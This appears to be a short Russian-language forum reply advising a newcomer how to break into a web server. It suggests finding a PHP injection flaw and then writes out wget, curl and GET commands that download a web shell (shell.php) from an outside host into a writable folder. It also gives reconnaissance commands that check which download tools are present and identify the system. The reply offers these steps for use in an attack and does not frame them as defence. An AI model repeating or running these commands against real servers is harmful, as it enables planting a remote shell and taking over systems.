во первых тебе надо найти хотябы багу (php injection) почитай прол него в статьях, там есть хорошая статья от Задохлика вроде

А на счет команд

wget http://servak.ru/shell.php
curl http://servak.ru/shell.php > shell.php
GET http://servak.ru/shell.php > shell.php
вот так мона залить шелл в папку при условии что папка открыта для записи

which wget;which GET;which curl;
так проверяем есть ли качалки

uname -a - смотрим че за система

а вообще то стоит почитать мануал по командам linux